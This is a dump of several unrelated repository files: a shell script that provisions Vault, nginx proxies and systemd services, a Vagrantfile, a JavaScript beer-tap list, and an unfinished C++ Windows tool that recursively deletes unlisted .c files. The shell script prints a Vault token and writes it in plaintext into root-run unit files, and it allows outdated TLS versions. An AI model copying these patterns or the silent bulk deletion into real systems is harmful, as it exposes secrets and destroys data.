if [[ $(grep 'rw\|ct' ${startdir}/choices) ]]; then
## downloading vault
if [[ ! -f /bin/vault ]]; then
yum install -y unzip
cd /tmp/
curl -s -O https://releases.hashicorp.com/vault/0.9.6/vault_0.9.6_linux_amd64.zip
cd /bin
unzip /tmp/vault_0.9.6_linux_amd64.zip
fi
if [[ ! -f /etc/nginx/cert.crt ]]; then
echo "*** setup nginx cert for proxy passthru 8080 -> 3002 and 3001 ***"
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -subj '/C=US/ST=WA/L=Bellevue/O=Expedia' -keyout /etc/nginx/cert.key -out /etc/nginx/cert.crt
fi
fi
# Get the right IP address to put into the nginx config files.
if [[ $(grep 'rw\|ct' ${startdir}/choices) ]]; then
ipaddr=$(hostname -I)
if [[ $(echo ${ipaddr} | grep "192.168") ]]; then
ipaddr=$(ifdata -pa enp0s8)
else
ipaddr=$(ifdata -pa eth0)
fi
fi
# Create a port 8080 nginx proxy, this is need in some cases if you working on VPN.
if [[ $(grep rw ${startdir}/choices) ]]; then
#nginx config for runway
cat<<EOF>/etc/nginx/conf.d/runway.conf
server {
listen 8080 ssl;
server_name $(hostname -f);
ssl_certificate /etc/nginx/cert.crt;
ssl_certificate_key /etc/nginx/cert.key;
ssl on;
ssl_session_cache builtin:1000 shared:SSL:10m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4;
ssl_prefer_server_ciphers on;
access_log /var/log/nginx/runway.access.log;
location / {
proxy_pass https://${ipaddr}:3002;
}
}
EOF
fi
# Create a port 8000 nginx proxy, this is need in some cases if you working on VPN.
if [[ $(grep ct ${startdir}/choices) ]]; then
#nginx config for control tower
cat<<EOF>/etc/nginx/conf.d/controltower.conf
server {
listen 8000 ssl;
server_name $(hostname -f);
ssl_certificate /etc/nginx/cert.crt;
ssl_certificate_key /etc/nginx/cert.key;
ssl on;
ssl_session_cache builtin:1000 shared:SSL:10m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4;
ssl_prefer_server_ciphers on;
access_log /var/log/nginx/controltower.access.log;
location / {
proxy_pass https://${ipaddr}:3001;
}
}
EOF
fi
# Setup the vault client for either Runway OR ControlTower. This is not something you can do
# from the vagrant install mainly because it passes a password. The valut app will
# nativily do this. I don't want to even try for vagrant for this. Just run this script manually.
if [[ $(grep 'rw\|ct\|renew_vault' ${startdir}/choices) ]]; then
echo "*** let's setup the Vault client now. ***"
# Dialog box for vault variable input
while [[ "$uservar" == "" ]]
do
uservar=$(whiptail --nocancel --title "Setting up Vault: User Name input" --inputbox "What is your SEA user name? You have to be in the evacadmins security group." 10 60 3>&1 1>&2 2>&3)
done
while [[ "$dcvar" == "" ]]
do
dcvar=$(whiptail --nocancel --title "Setting up Vault: Datacenter" --radiolist "Choose datacenter location." 15 60 4 "ch" "Chandler" OFF "ph" "Phoenix" OFF 3>&1 1>&2 2>&3)
done
dcvar=$(echo ${dcvar} | sed 's/"//g')
while [[ "$passwd" == "" ]]
do
passwd=$(whiptail --nocancel --passwordbox "Setting up Vault: Enter password." 10 30 3>&1 1>&2 2>&3)
done
token=$(vault login -address=https://vault.${dcvar}.lab.stockyard.io:8200 -method=ldap username=${uservar} password=${passwd} | grep "token " | grep -v 'Success\|helper' | awk '{print $2}')
echo "*** Thanks $uservar, these environment variables will be added to your profile ***"
echo "export VAULT_URL=https://vault.${dcvar}.lab.stockyard.io:8200"
echo "export ENV=dev"
echo "export DC=${dcvar}"
echo "export LOGLEVEL=info"
echo "export SECRET_VAULT=${token}"
if [[ $(who | awk '{print $1}' | uniq) == "vagrant" ]]; then
uservar="vagrant"
fi
fi
# Creating a systemd service for Runway
if [[ $(grep 'rw\|ct\|renew_vault' ${startdir}/choices) ]]; then
echo "*** Creating a systemd service for Runway ***"
cat <<EOF> /etc/systemd/system/runway.service
[Unit]
Description=Runway dev instance
After=syslog.target
[Service]
ExecStart=/bin/bash -c "export VAULT_URL=https://vault.${dcvar}.lab.stockyard.io:8200 && export ENV=dev && export DC=${dcvar} && export LOGLEVEL=info && export SECRET_VAULT=${token} && cd /opt/runway &&
./run.py"
User=root
WorkingDirectory=/opt/runway
Type=simple
[Install]
WantedBy=multi-user.target
EOF
systemctl enable runway
systemctl daemon-reload
systemctl restart runway
systemctl restart nginx
fi
# Creating a systemd service for ControlTower
if [[ $(grep 'ct\|rw\|renew_vault' ${startdir}/choices) ]]; then
echo "*** Creating a systemd service for ControlTower ***"
cat <<EOF> /etc/systemd/system/controltower.service
[Unit]
Description=ControlTower dev instance
After=syslog.target
[Service]
ExecStart=/bin/bash -c "export VAULT_URL=https://vault.${dcvar}.lab.stockyard.io:8200 && export ENV=dev && export DC=${dcvar} && export LOGLEVEL=info && export SECRET_VAULT=${token} && cd /opt/controltower/api && ./controltower.py"
User=root
WorkingDirectory=/opt/controltower
Type=simple
[Install]
WantedBy=multi-user.target
EOF
systemctl enable controltower
systemctl daemon-reload
systemctl restart controltower
systemctl restart nginx
fi
# The end
echo "********************************************************************"
echo "********************************************************************"
if [[ $(grep ct ${startdir}/choices) ]]; then
echo "*** controltower should be reachable on ports 3001 and 8000"
elif [[ $(grep rt ${startdir}/choices) ]]; then
echo "*** runway should be reachable on ports 3002 and 8080"
elif [[ $(grep st2 ${startdir}/choices) ]]; then
echo "*** Stackstorm really needs a reboot after installing"
elif [[ $(grep kitchen ${startdir}/choices) ]]; then
echo "*** Chef kitchen and Docker really need a reboot after installing"
echo "*** Note, user=st2admin, password=<PASSWORD>"
fi
echo "${user} your setup is now complete, to make changes rerun runme.sh "
echo "********************************************************************"
echo "********************************************************************"<file_sep>Vagrant.configure(2) do |config|
config.vm.box = "ubuntu/trusty64"
config.berkshelf.enabled = true
config.berkshelf.berksfile_path = "./cookbooks/dev/Berksfile"
# config.vm.provision :chef_solo do |chef|
# chef.run_list = [
# 'recipe[php]'
# ]
# end
end
|
3795f8f42ba2d9e1b40cc41d9966ad4c459d7f0e
|
[
"Markdown",
"Text",
"Ruby",
"Shell"
] | 19 |
Shell
|
coateds/Vagrant
|
dcdf9e9aae62ec5e61e16663683169bd7fe63c5b
|
e92bbb3f98b8651a79e6647916dd208f91f0a307
|
refs/heads/master
|
<repo_name>elCanarioVidal/pantallaHey<file_sep>/js/canillas.js
var canillas = [
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad celeste">Blonde</span><span class="marca amarillo"> Volcánica</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad naranja">dubbel</span><span class="marca rojo"> Volcánica</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad verde">ApA</span><span class="marca amarillo"> Beer Bros</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad celeste">DARK STRONG ALE</span><span class="marca rojo"></span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad naranja">AMBER</span><span class="marca rojo"> Mist</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad celeste">Gold</span><span class="marca amarillo"> Stolz</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad rojo">Blonde</span><span class="marca verde"> Cabesas</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad amarillo">Stout</span><span class="marca celeste"> Cabesas</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad verde">IPA</span><span class="marca naranja"> Cabesas</span>',
//fin parte izquierda
//parte derecha
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad naranja">Scotish</span><span class="marca rojo"> Cabesas</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad verde">IPA</span><span class="marca amarillo"> Volcánica</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad celeste">APARevolution</span><span class="marca rojo"> Cabesas</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad amarillo">ApA</span><span class="marca naranja"> BIMBA Bruder</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad verde">Trigo</span><span class="marca amarillo"> Cabesas</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad naranja">IPA</span><span class="marca celeste"> Oso Pardo</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad rojo">Pilsener</span><span class="marca amarillo"> Martinez</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad celeste">Golden</span><span class="marca verde"> 1983</span>',
//Cambiar solo donde dice Variedad Birra y Marca Birra
'<span class="variedad rojo">India Pale Ale</span><span class="marca verde"> Davok</span>',
];
|
a3166c53663855b1e7c5ea2f724e60213724b090
|
[
"JavaScript"
] | 1 |
JavaScript
|
elCanarioVidal/pantallaHey
|
9ed8afe0154626066c376263b975ef302814913e
|
80b692e37eeb3c52c53082d8a3801e91ac4ae449
|
refs/heads/master
|
<repo_name>Amar-dev-code/Mudra<file_sep>/index.ts
import express from "express";
import { router } from "./api-routes";
const app = express();
app.get("/", (req, res) => {
res.send("Well done!");
});
app.use("/api", router);
app.listen(3000, () => {
console.log("The application is listening on port 3000!");
});
<file_sep>/api-routes.ts
// Initialize express router
import express from "express";
export let router = express.Router();
// Set default API response
router.get("/", function (req, res) {
res.json({
status: "API Its Working",
message: "Welcome to RESTHub crafted with love!",
});
});
|
6d5622c397e1ba9474cd8d7b4ee8fda83feb674d
|
[
"TypeScript"
] | 2 |
TypeScript
|
Amar-dev-code/Mudra
|
c3fd75ea1b4bfaf9924e077ddf4d879a6fe3d503
|
6f070f8a8ce554c1fff5cf74ba46ed205da4cc39
|
refs/heads/master
|
<file_sep>import random
class Hand(object):
def __init__(self):
self.cards = []
self.suits = ["H", "D", "C", "S"]
self.ranks = ["A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"]
# void -> array(cards)
# puts random card in cards
def add_card(self, card = None):
if card == None:
self.cards += [(random.choice(self.suits) + random.choice(self.ranks))]
else:
self.cards += [card]
# to print out what cards are in self.cards on the screen
def show_card(self):
print " ".join(self.cards)
class Game(object):
def __init__(self):
self.player_hand = Hand()
self.dealer_hand = Hand()
# void -> array(hand: player_hand)
def give_player_card(self):
self.player_hand.add_card()
# void -> array(hand: dealer_hand)
def give_dealer_card(self):
self.dealer_hand.add_card()
# to print what cards are in player_hand on the screen
def show_player_card(self):
self.player_hand.show_card()
#to print what cards are in dealer_hand on the screen
def show_dealer_card(self):
self.dealer_hand.show_card()
# string -> number
# to calculate points of one card
def points_of(self, string):
if string.endswith("J"):
return 10
elif string.endswith("Q"):
return 10
elif string.endswith("K"):
return 10
elif string.endswith("0"):
return 10
elif string.endswith("A"):
return 10
else:
return int(string[-1])
# hand -> number
# to calculate the the point of given hand
def compute_points(self, hand):
points = 0
for card in hand.cards:
points += self.points_of(card)
return points
# void -> number
def player_points(self):
return self.compute_points(self.player_hand)
# void -> number
def dealer_points(self):
return self.compute_points(self.dealer_hand)
# cards -> boolean
# to check if given cards are busted (check if points of cards are over 21)
def bust(self, cards):
return self.compute_points(cards) > 21
# void -> boolean
# to check if player is busted
def player_bust(self):
return self.bust(self.player_hand)
# void -> boolean
# to check if dealer is busted
def dealer_bust(self):
return self.bust(self.dealer_hand)
# void -> boolean
# to check if dealer point is reached to the point where he should stand
def dealer_max(self):
return self.dealer_points() <= 15
# void -> boolean
def compare_points(self):
return self.player_points() > self.dealer_points()
class game_runner(object):
def __init__(self):
self.game = Game()
self.game.give_player_card()
self.game.give_player_card()
self.game.show_player_card()
while not self.game.player_bust() and self.is_hit():
self.game.give_player_card()
self.game.show_player_card()
self.dealer_turn()
self.check_win()
# void -> array(cards)
def dealer_turn(self):
while self.game.dealer_max():
self.game.give_dealer_card()
# void (user input) -> boolean
# to check if user wants to hit or stand
def is_hit(self):
play = raw_input( "do you wanna hit or stand?")
if play == 'hit':
return True
elif play == "stand":
return False
# void -> boolean
def check_win(self):
if self.game.player_bust() and self.game.dealer_bust():
print "you and dealer are busted! no one won this game!"
elif self.game.player_bust():
print "you are busted!"
elif self.game.dealer_bust():
print "you won! dealer is busted!"
else:
if self.game.compare_points():
print "you won!"
else:
print "you lost! Dealer had these cards: "
self.game.show_dealer_card()
<file_sep>Prerequisites you need to execute the code:
1. Have Python installed
2. Have Pygame installed
3. Know how to play blackjack
How to run the code:
1. run the code by typing python running_game.py
2. play the game
Source of Images:
All images are created by myself
Do and do not work in my implementation:
do -> hit, stand, playing game in general
don't -> betting money, double, split, surrender. Ace doesn't return 1 when player is busted, it doenst show acutal cards
<file_sep>import unittest
from text_code import *
class Test(unittest.TestCase):
def setUp(self):
self.game = Game()
self.game.player_hand.add_card("H4")
self.game.player_hand.add_card("SK")
self.game.dealer_hand.add_card("S4")
self.game.dealer_hand.add_card("HA")
self.game.dealer_hand.add_card("DQ")
def test_points_of(self):
self.assertEqual(4,self.game.points_of("H4"))
self.assertEqual(10, self.game.points_of("SK"))
def test_compute_points(self):
self.assertEqual(14, self.game.compute_points(self.game.player_hand))
self.assertEqual(24, self.game.compute_points(self.game.dealer_hand))
def test_give_player_card(self):
pass
# it gives one random card to player_hand
# check if player_hand (array) gets one random card
# random card is in arrange of [(random.choice(self.suits) + random.choice(self.ranks))] when
# self.suits = ["H", "D", "C", "S"]
# self.ranks = ["A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"]
def test_give_dealer_card(self):
pass
# it gives one random card to dealer_hand
# check if dealer_hand (array) gets one random card
# random card is in arrange of [(random.choice(self.suits) + random.choice(self.ranks))] when
# self.suits = ["H", "D", "C", "S"]
# self.ranks = ["A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"]
def test_bust(self):
self.assertEqual(False, self.game.bust(self.game.player_hand))
self.assertEqual(True, self.game.bust(self.game.dealer_hand))
def test_compare_points(self):
self.assertEqual(False, self.game.compare_points())
if __name__ == '__main__':
unittest.main()
<file_sep>import pygame
import pygame.mixer
from pygame.locals import *
from text_code import *
class main:
def __init__(self):
self.screen = pygame.display.set_mode((640, 480))
pygame.display.set_caption("black jack")
self.game = Game()
self._running = True
self._display_surf = None
self.game_status = None
def when_game_on(self):
pygame.init()
self.font = pygame.font.SysFont('Vega', 25)
self.big_font = pygame.font.SysFont('Vega', 100)
self._running = True
def player_won(self):
self.game_status = "player"
def dealer_won(self):
self.game_status = "dealer"
def game_tie(self):
self.game_status = "tie"
def who_won_text(self):
player_won = self.big_font.render("YOU WON", 1, (0,0,0))
dealer_won = self.big_font.render("YOU LOST", 1, (0,0,0))
tie_game = self.big_font.render("DRAW", 1, (0,0,0))
if self.game_status == "player":
self.screen.blit(player_won, (160, 110))
elif self.game_status == "dealer":
self.screen.blit(dealer_won, (160, 110))
elif self.game_status == "tie":
self.screen.blit(tie_game, (160, 110))
def game_off(self):
pygame.quit()
def mouse_click(self):
pass
def draw(self):
pygame.init()
self.screen = pygame.display.set_mode((640, 480))
hit_image = pygame.image.load('hit.png')
stand_image = pygame.image.load('stand.png')
background = pygame.image.load('background2.png')
card_image = pygame.image.load('card.png')
player_cards = self.font.render("Player Cards: {player_cards}".format(player_cards = self.game.player_hand.cards), 1, (0,0,0))
dealer_cards =self.font.render("Dealer Cards: {dealer_cards}".format(dealer_cards = self.game.dealer_hand.cards), 1, (0,0,0))
self.screen.blit(background, (0,0))
self.screen.blit(hit_image, (200,400))
self.screen.blit(stand_image, (340, 400))
self.screen.blit(card_image, (294, 192))
self.screen.blit(player_cards, (20, 280))
self.screen.blit(dealer_cards, (20, 320))
def dealer_turn(self):
while self.game.dealer_max():
self.game.give_dealer_card()
def on_event(self, event):
if event.type == pygame.QUIT:
self._running = False
elif event.type == pygame.MOUSEBUTTONDOWN:
x,y = event.dict["pos"]
if x < 292 and x > 200 and y > 400 and y < 440 and self.game_not_over():
self.game.give_player_card()
elif x < 430 and x > 340 and y > 400 and y < 440 and self.game_not_over():
self.dealer_turn()
def game_not_over(self):
if self.game_status == None:
return True
else:
return False
def check_win(self):
if self.game.player_bust():
self.game_status = "dealer"
elif self.game.dealer_bust():
self.game_status = "player"
elif self.game.player_points() == self.game.dealer_points():
self.game_status = "tie"
elif self.game.player_points() > 0 and self.game.dealer_points() > 0:
if self.game.player_points() > self.game.dealer_points():
self.game_status = "player"
elif self.game.player_points() < self.game.dealer_points():
self.game_status = "dealer"
def on_execute(self):
if self.when_game_on() == False:
self._running = False
self.game.give_player_card()
self.game.give_player_card()
while(self._running):
for event in pygame.event.get():
self.on_event(event)
self.draw()
self.check_win()
if self.game_status:
self.who_won_text()
pygame.display.flip()
self.game_off()
if __name__ == '__main__':
start_game = main()
start_game.on_execute()
|
a95349f30e6da62378e6cd996796794798846327
|
[
"Markdown",
"Python"
] | 4 |
Python
|
KitaeK/blackjack--python-
|
ba2e827106f40b34aa0ae0ca80c407ead545dcff
|
fddde913ad87fe47dad6a70e1a8c37179937446e
|
refs/heads/master
|
<file_sep>import React from 'react';
import ReactDOM from 'react-dom';
import {BrowserRouter as Router, Route, Link} from 'react-router-dom';
import Games from './components/games';
import Header from './components/headers';
import Streams from "./components/streams";
import GameStreams from "./components/gamestreams";
import "./App.css";
function App() {
return (
<Router>
<Header />
<Route exact path='/' component={Games} />
<Route exact path='/top-streams' component={Streams} />
<Route exact path='/game/:id' component={GameStreams} />
</Router>
);
}
export default App;
|
882a0388858c384097bf2ab4e9a1fecc1a2b6851
|
[
"JavaScript"
] | 1 |
JavaScript
|
williamye07/Twitch-Dashboard
|
8e2cf6132b2c096b2bff3f1c5062c028718737e0
|
92badf873f6b38a754ff9b823ba03d43c079c82c
|
refs/heads/master
|
<repo_name>jeffponce/Budget-App<file_sep>/budget_app.js
////// Budget App /////
// Budget Controller
var budget_controller = (function() {
var Expense = function(id, description, value) {
this.id = id;
this.description = description;
this.value = value;
this.percentage = -1;
};
Expense.prototype.calc_percentages = function(total_income) {
if (total_income > 0) {
this.percentage = Math.round((this.value / total_income) * 100);
} else {
this.percentage = -1;
}
};
Expense.prototype.get_percent = function() {
return this.percentage;
};
var Income = function(id, description, value) {
this.id = id;
this.description = description;
this.value = value;
};
var calc_total = function(type) {
var sum = 0;
data.all_items[type].forEach(function(cur) {
sum += cur.value;
});
data.totals[type] = sum;
};
var data = {
all_items: {
exp: [],
inc: []
},
totals: {
exp: 0,
inc: 0
},
budget: 0,
percentage: -1
};
return {
add_item: function(type, des, val) {
var new_item, ID;
// Create new ID
if (data.all_items[type].length > 0) {
ID = data.all_items[type][data.all_items[type].length - 1].id + 1;
} else {
ID = 0;
};
// Create new item based on 'inc' or 'exp' type
if (type === 'exp') {
new_item = new Expense(ID, des, val);
} else if (type === 'inc') {
new_item = new Income(ID, des, val);
}
// Push it into our data structure
data.all_items[type].push(new_item);
// Return the new element
return new_item;
},
delete_item: function(type, id) {
var ids, index;
ids = data.all_items[type].map(function(current) {
return current.id;
});
index = ids.indexOf(id);
if (index !== -1) {
data.all_items[type].splice(index, 1);
}
},
calc_budget: function() {
// Calc total income and expenses
calc_total('exp');
calc_total('inc');
// Calc budget: income - expense
data.budget = data.totals.inc - data.totals.exp;
// calc percentage of income
if (data.totals.inc > 0) {
data.percentage = Math.round((data.totals.exp / data.totals.inc) * 100);
} else {
data.percentage = -1;
}
},
calc_percentages: function() {
data.all_items.exp.forEach(function(cur) {
cur.calc_percentages(data.totals.inc);
});
},
get_percentages: function() {
var all_perc = data.all_items.exp.map(function(cur) {
return cur.get_percent();
});
return all_perc;
},
get_budget: function() {
return {
budget: data.budget,
total_inc: data.totals.inc,
total_exp: data.totals.exp,
percentage: data.percentage
}
},
testing: function() {
console.log(data);
}
};
})();
// UI Controller
var ui_controller = (function() {
var DOMstrings = {
input_type: '.add__type',
input_des: '.add__description',
input_value: '.add__value',
input_button: '.add__btn',
income_container: '.income__list',
expenses_container: '.expenses__list',
budget_label: '.budget__value',
income_label: '.budget__income--value',
expenses_label: '.budget__expenses--value',
percentage_label: '.budget__expenses--percentage',
container: '.container',
expenses_percent_label: '.item__percentage',
date_label: '.budget__title--month'
};
var format_number = function(num, type) {
var num_split, int, dec, type;
/*
+ or - before number
exactly 2 decimal places
comma seperating the thousands
*/
num = Math.abs(num);
num = num.toFixed(2);
num_split = num.split('.');
int = num_split[0];
if (int.length > 3) {
int = int.substr(0, int.length - 3) + ',' + int.substr(int.length - 3, 3);
}
dec = num_split[1];
return (type === 'exp' ? '-' : '+') + ' ' + int + '.' + dec;
};
var node_list_for_each = function(list, callback) {
for (var i = 0; i < list.length; i++) {
callback(list[i], i);
}
};
return {
get_input: function() {
return {
type : document.querySelector(DOMstrings.input_type).value, // Can be Income or Expense
description : document.querySelector(DOMstrings.input_des).value,
value : parseFloat(document.querySelector(DOMstrings.input_value).value)
};
},
add_list_item: function(obj, type) {
var html, new_html, element, fields, fields_arr;
// Create HTML string with placeholder text
if (type === 'inc') {
element = DOMstrings.income_container;
html = '<div class="item clearfix" id="inc-%id%"><div class="item__description">%description%</div><div class="right clearfix"><div class="item__value">%value%</div><div class="item__delete"><button class="item__delete--btn"><i class="ion-ios-close-outline"></i></button></div></div></div>';
} else if (type === 'exp'){
element = DOMstrings.expenses_container;
html = '<div class="item clearfix" id="exp-%id%"><div class="item__description">%description%</div><div class="right clearfix"><div class="item__value">%value%</div><div class="item__percentage">21%</div><div class="item__delete"><button class="item__delete--btn"><i class="ion-ios-close-outline"></i></button></div></div></div>'
}
// Replace placeholder text with some actual data
new_html = html.replace('%id%', obj.id);
new_html = new_html.replace('%description%', obj.description);
new_html = new_html.replace('%value%', format_number(obj.value, type));
// Insert the HTML to the DOM
document.querySelector(element).insertAdjacentHTML('beforeend', new_html);
},
delete_list_item: function(selectorID) {
var el = document.getElementById(selectorID);
el.parentNode.removeChild(el)
},
clear_fields: function() {
fields = document.querySelectorAll(DOMstrings.input_des + ', ' + DOMstrings.input_value);
fields_arr = Array.prototype.slice.call(fields)
fields_arr.forEach(function(current, index, array) {
current.value = "";
});
fields_arr[0].focus();
},
display_budget: function(obj) {
var type;
obj.budget > 0 ? type = 'inc' : type = 'exp';
document.querySelector(DOMstrings.budget_label).textContent = format_number(obj.budget, type);
document.querySelector(DOMstrings.income_label).textContent = format_number(obj.total_inc, 'inc');
document.querySelector(DOMstrings.expenses_label).textContent = format_number(obj.total_exp, 'exp');
if (obj.percentage > 0) {
document.querySelector(DOMstrings.percentage_label).textContent = obj.percentage + '%';
} else {
document.querySelector(DOMstrings.percentage_label).textContent = '---';
}
},
display_percentages: function(percentages) {
var fields = document.querySelectorAll(DOMstrings.expenses_percent_label);
node_list_for_each(fields, function(current, index) {
if (percentages[index] > 0) {
current.textContent = percentages[index] + '%';
} else {
current.textContent = '---'
}
});
},
display_month: function() {
var now, year, month, months;
now = new Date();
months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'];
month = now.getMonth();
year = now.getFullYear();
document.querySelector(DOMstrings.date_label).textContent = months[month] + ' ' + year;
},
change_type: function() {
var fields = document.querySelectorAll(
DOMstrings.input_type + ',' +
DOMstrings.input_des + ',' +
DOMstrings.input_value);
node_list_for_each(fields, function(cur) {
cur.classList.toggle('red-focus');
});
document.querySelector(DOMstrings.input_button).classList.toggle('red');
},
get_DOM_strings: function() {
return DOMstrings;
}
};
})();
// Global App Controller
var controller = (function(budgetCtrl, uiCtrl) {
var DOM = uiCtrl.get_DOM_strings();
var setup_event_listeners = function() {
document.querySelector(DOM.input_button).addEventListener('click', ctrl_add_item);
document.addEventListener('keypress', function(event) {
if (event.keyCode === 13 || event.which === 13) {
ctrl_add_item();
}
});
document.querySelector(DOM.container).addEventListener('click', ctrl_delete_item)
document.querySelector(DOM.input_type).addEventListener('change', uiCtrl.change_type)
};
var update_budget = function() {
// 1. Calculate budget
budgetCtrl.calc_budget();
// 2. Return the budget
var budget = budgetCtrl.get_budget();
// 3. Display the budget on the UI
uiCtrl.display_budget(budget);
};
var update_percentages = function() {
// 1. Calc update_percentages
budgetCtrl.calc_percentages();
// 2. Read percent from budget controller
var percentages = budgetCtrl.get_percentages();
// 3. Update UI with the new percentage
uiCtrl.display_percentages(percentages);
};
var ctrl_add_item = function() {
var input, new_item;
// 1. Get the field input data
input = uiCtrl.get_input();
if (input.description != "" && input.value && !isNaN(input.value) && input.value > 0) {
// 2. Add the item to the budget controller
new_item = budgetCtrl.add_item(input.type, input.description, input.value);
// 3. Add the item to UI
uiCtrl.add_list_item(new_item, input.type);
// 4. Clear the fields
uiCtrl.clear_fields();
// 5. Calc and update budget
update_budget();
// 6. Calc and update percentages
update_percentages();
}
};
var ctrl_delete_item = function(event) {
var item_id, split_id, type, ID;
item_id = event.target.parentNode.parentNode.parentNode.parentNode.id;
if(item_id) {
split_id = item_id.split('-');
type = split_id[0];
ID = parseInt(split_id[1]);
// 1. Delete the item from data structure
budgetCtrl.delete_item(type, ID);
// 2. Delete item from the UI
uiCtrl.delete_list_item(item_id);
// 3. Update and show the new budget
update_budget();
// 4. Calc and update percentages
update_percentages();
}
};
return {
init: function() {
console.log('App has started.');
uiCtrl.display_month();
uiCtrl.display_budget({
budget: 0,
total_inc: 0,
total_exp: 0,
percentage: -1
});
setup_event_listeners();
}
};
})(budget_controller, ui_controller);
controller.init();
///
<file_sep>/README.md
# Budget App
This would be my second JavaScript project which is part of a Training Course I am currently taking. This app we have a simple budget tracker with the ability to calculate the percentages of your expenses versus your total budget, or income. Key concepts learned were project planning and architecture. Using a UI Controller, App Controller, and Global Controller to structure your functions and methods to keep your code private. DOM manipulation, object prototypes, CSS styling, HTML, and event delegation.

|
8cc0063727ff233244302a3886d7df9bacffddcb
|
[
"JavaScript",
"Markdown"
] | 2 |
JavaScript
|
jeffponce/Budget-App
|
85df4dcfb5dd53ff98bbee972629c7a47d214561
|
bc298954d77c537217d6d4ff0766e251b67c736c
|
refs/heads/master
|
<file_sep>// FINDX.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "afx.h"
#include <stdio.h>
#include "base64.h"
#include <winsock.h>
#include "smtp.h"
//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"wmainCRTStartup\"" )
#define DEEP_DG (5000)
unsigned int file_find_cnt = 0,file_add_cnt = 0;
char * dds,*path_d;
CString current_path;
char TSD_Header[20];
int Tchar_to_char(_TCHAR * tchar,char * buffer);
char command_buffer[200];
unsigned char pos_244[2*1024*1024];
unsigned int pos_len;
unsigned char pos_read[10240];
unsigned int pos_read_len;
char hbuffer[2000][64];
char hbuffer_path[200][512];
unsigned int h_cnt = 0;
char cbuffer[2*1024*1024];
unsigned char h_va[169];
int match_file(char * src,char *match,unsigned int len);
int FindBmpFile(CString strFoldername)
{
CFileFind tempFind;
BOOL bFound;
bFound=tempFind.FindFile(strFoldername + "\\*.*");
CString strTmp,strpath; //如果找到的是文件夹 存放文件夹路径
/*-----------*/
while(bFound) //遍历所有文件
{
bFound=tempFind.FindNextFile();
if(tempFind.IsDots())
continue;
if(tempFind.IsDirectory())
{
strTmp = _T("");
strTmp = tempFind.GetFilePath();
current_path = strTmp;
FindBmpFile(strTmp);
}
else
{
strTmp = tempFind.GetFileName();//tempFind.GetFilePath();
strpath = tempFind.GetFilePath();
// 在此处添加对找到文件的处理
/*file_find_cnt*/
file_find_cnt ++;
/*----------*/
USES_CONVERSION;
/*--------------------------*/
dds = T2A(strTmp);
path_d = T2A(strpath);
/*--------------------------*/
char type[200];
int len = strlen(dds);
int pos = 0;
/* clear */
memset(type,0,sizeof(type));
/*-----search-----*/
for( int i = 0 ; i < len ; i ++ )
{
if( dds[i] == '.' )
{
pos = i;//last '.'
}
}
/*---------------*/
if( pos != 0 )
{
memcpy(type,&dds[pos],len-pos);
}
/*-------------------------*/
#if 1
if( strcmp(type,".c") == 0 )
{
//FILE * c_file = fopen(path_d,"rb");
//fread(cbuffer,1,sizeof(cbuffer),c_file );
//int i = 0;
//for( i = 0 ; i < 169 ; i ++ )
//{
// if( strstr(cbuffer,hbuffer[i]) != NULL )
// {
// //printf("%s,%d\r\n",hbuffer[i],file_add_cnt++);
// h_va[i] = 0xff;
// //break;
// }
//}
////if( i == 169 )
////{
//// printf("%s %d , %d\r\n",dds,file_find_cnt,file_add_cnt++);
////}
if( strstr((const char *)pos_244,dds) == NULL )
{
DeleteFile(strpath);
printf("%s %d , %d\r\n",path_d,file_find_cnt,file_add_cnt++);
}
//fclose(c_file);
//memcpy(hbuffer[h_cnt++],dds,strlen(dds));
}
#endif
//if( strcmp(type,".h") == 0 )
//{
// memcpy(hbuffer_path[h_cnt++],path_d,strlen(path_d));
// printf("%s,%d\r\n",path_d,file_add_cnt++);
//}
//if( strcmp(type,".txt") == 0 || strcmp(type,".htm") == 0 || strcmp(type,".tesbak") == 0 || strcmp(type,".asm") == 0 )
//{
// DeleteFile(strpath);
// printf("%s %d , %d\r\n",dds,file_find_cnt,file_add_cnt++);
//}
//if( strcmp(type,".s") == 0 )
//{
// printf("%s %d , %d\r\n",path_d,file_find_cnt,file_add_cnt++);
//}
//printf("%s %d , %d\r\n",path_d,file_find_cnt,file_add_cnt);
}
}
/*------------------------------*/
tempFind.Close();
/*---------------*/
return 0;
}
email_config config_niu;
int match_file(char * src,char *match,unsigned int len)
{
int j;
for( int i = 0 ; i < pos_len ; i ++ )
{
for( j = 0 ; j < len ; j ++ )
{
if( src[i+j] != match[j] )
{
break;
}
}
if( j == len )
{
return 0;
}
}
return (-1);
}
int _tmain(int argc, _TCHAR* argv[])
{
